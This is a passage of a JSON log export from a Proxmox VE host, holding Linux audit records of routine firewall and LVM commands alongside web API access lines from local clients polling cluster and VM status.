root@pam [20/06/2026:15:10:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964265387,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.387:60286): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57887 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965623761,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:02 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1118"} {"@timestamp":1781964656000,"@rawstring":"node=pve type=EXECVE msg=audit(1781964656.000:62003): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966285633,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966285.633:69186): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66428 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145561,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.561:68616): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65893 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965934829,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965934.829:67720): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65034 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555571,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:09:14 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966295683,"@rawstring":"node=pve type=EXECVE msg=audit(1781966295.683:69212): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964655625,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781964265381,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.381:60285): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57886 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965621945,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:01 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 931"} {"@timestamp":1781964655995,"@rawstring":"node=pve type=EXECVE msg=audit(1781964655.995:62001): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966285627,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966285.627:69185): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66427 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966140552,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966140.552:68609): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65882 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965934829,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965934.829:67719): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65034 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964551254,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:09:10 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966295674,"@rawstring":"node=pve type=EXECVE msg=audit(1781966295.674:69211): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964654614,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:53 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 848"} {"@timestamp":1781964265378,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.378:60284): arch=c000003e syscall=59 success=yes exit=0 a0=6487a63ebd30 a1=6487a63f7f40 a2=6487a63c5680 a3=5 items=2 ppid=57879 pid=57885 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965621945,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:00 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1118"} {"@timestamp":1781964655991,"@rawstring":"node=pve type=EXECVE msg=audit(1781964655.991:62000): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966285620,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966285.620:69184): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66426 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966140552,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966140.552:68608): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65882 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965934824,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965934.824:67717): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65033 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964546612,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:09:06 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966294367,"@rawstring":"node=pve type=EXECVE msg=audit(1781966294.367:69210): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964651695,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1086"} {"@timestamp":1781964265375,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.375:60283): arch=c000003e syscall=59 success=yes exit=0 a0=648796133ac8 a1=7ffd0bc920f0 a2=6487a63c5680 a3=64879611724e items=2 ppid=57879 pid=57881 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965620708,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:59 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 517"} {"@timestamp":1781964655985,"@rawstring":"node=pve type=EXECVE msg=audit(1781964655.985:61999): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966285613,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966285.613:69183): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66425 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966140535,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966140.535:68606): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65881 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965934824,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965934.824:67716): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65033 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964543388,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:09:02 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966294336,"@rawstring":"node=pve type=EXECVE msg=audit(1781966294.336:69209): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964651695,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781964265374,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.374:60282): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd0bc920b0 a1=6487a63e73d0 a2=6487a63c5680 a3=5 items=2 ppid=57879 pid=57880 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965620708,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:59 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 946"} {"@timestamp":1781964655981,"@rawstring":"node=pve type=EXECVE msg=audit(1781964655.981:61998): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966285607,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966285.607:69182): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66424 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966140535,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966140.535:68605): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65881 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965929812,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965929.812:67711): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65027 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964539566,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:08:58 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966291086,"@rawstring":"node=pve type=EXECVE msg=audit(1781966291.086:69208): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964648677,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1086"} {"@timestamp":1781964265370,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.370:60280): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57879 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965620708,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:59 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964655975,"@rawstring":"node=pve type=EXECVE msg=audit(1781964655.975:61997): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966285601,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966285.601:69181): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66423 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135609,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.609:68601): arch=c000003e syscall=59 success=no exit=-2 a0=7ffffb981b90 a1=5774cd20e1c0 a2=5774cd1ec680 a3=5 items=1 ppid=65874 pid=65875 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965929812,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965929.812:67710): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65027 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964531600,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:08:50 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966291076,"@rawstring":"node=pve type=EXECVE msg=audit(1781966291.076:69205): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964648677,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:47 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 846"} {"@timestamp":1781964265363,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.363:60279): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57878 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965620708,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:59 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964655970,"@rawstring":"node=pve type=EXECVE msg=audit(1781964655.970:61996): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966284251,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966284.251:69180): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ada40 a1=64f8d73b3210 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66420 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135526,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.526:68587): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65863 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965929799,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965929.799:67708): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65026 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964527584,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:08:47 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966286064,"@rawstring":"node=pve type=EXECVE msg=audit(1781966286.064:69202): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964647663,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781964265356,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.356:60278): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57877 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965619716,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:58 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781964655964,"@rawstring":"node=pve type=EXECVE msg=audit(1781964655.964:61995): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966284222,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966284.222:69179): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73d5620 a1=64f8d73ee170 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66419 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135526,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.526:68586): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65863 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965929799,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965929.799:67707): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65026 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964527584,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:08:47 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966286054,"@rawstring":"node=pve type=EXECVE msg=audit(1781966286.054:69199): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964644640,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781964265351,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.351:60277): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b053f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57876 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965618099,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:57 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1118"} {"@timestamp":1781964655958,"@rawstring":"node=pve type=EXECVE msg=audit(1781964655.958:61994): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966281048,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966281.048:69178): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66416 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135517,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.517:68582): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65861 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965926091,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965926.091:67703): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe8df38970 a1=5cbcb83273d0 a2=5cbcb8305680 a3=5 items=1 ppid=65019 pid=65020 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964523647,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:08:43 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966285666,"@rawstring":"node=pve type=EXECVE msg=audit(1781966285.666:69195): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964643722,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 463"} {"@timestamp":1781964265345,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.345:60276): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1013e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57875 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965618099,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:57 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 929"} {"@timestamp":1781964655955,"@rawstring":"node=pve type=EXECVE msg=audit(1781964655.955:61993): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966281040,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966281.040:69175): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66415 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966135517,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966135.517:68581): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65861 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965925990,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965925.990:67685): arch=c000003e syscall=59 success=no exit=-2 a0=7fff7c4d25f0 a1=5d4970aaa310 a2=5d4970aa3680 a3=5 items=1 ppid=65000 pid=65001 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964519615,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:08:39 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966285662,"@rawstring":"node=pve type=EXECVE msg=audit(1781966285.662:69194): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964642627,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:41 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 851"} {"@timestamp":1781964265338,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.338:60275): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0eb320 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57874 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 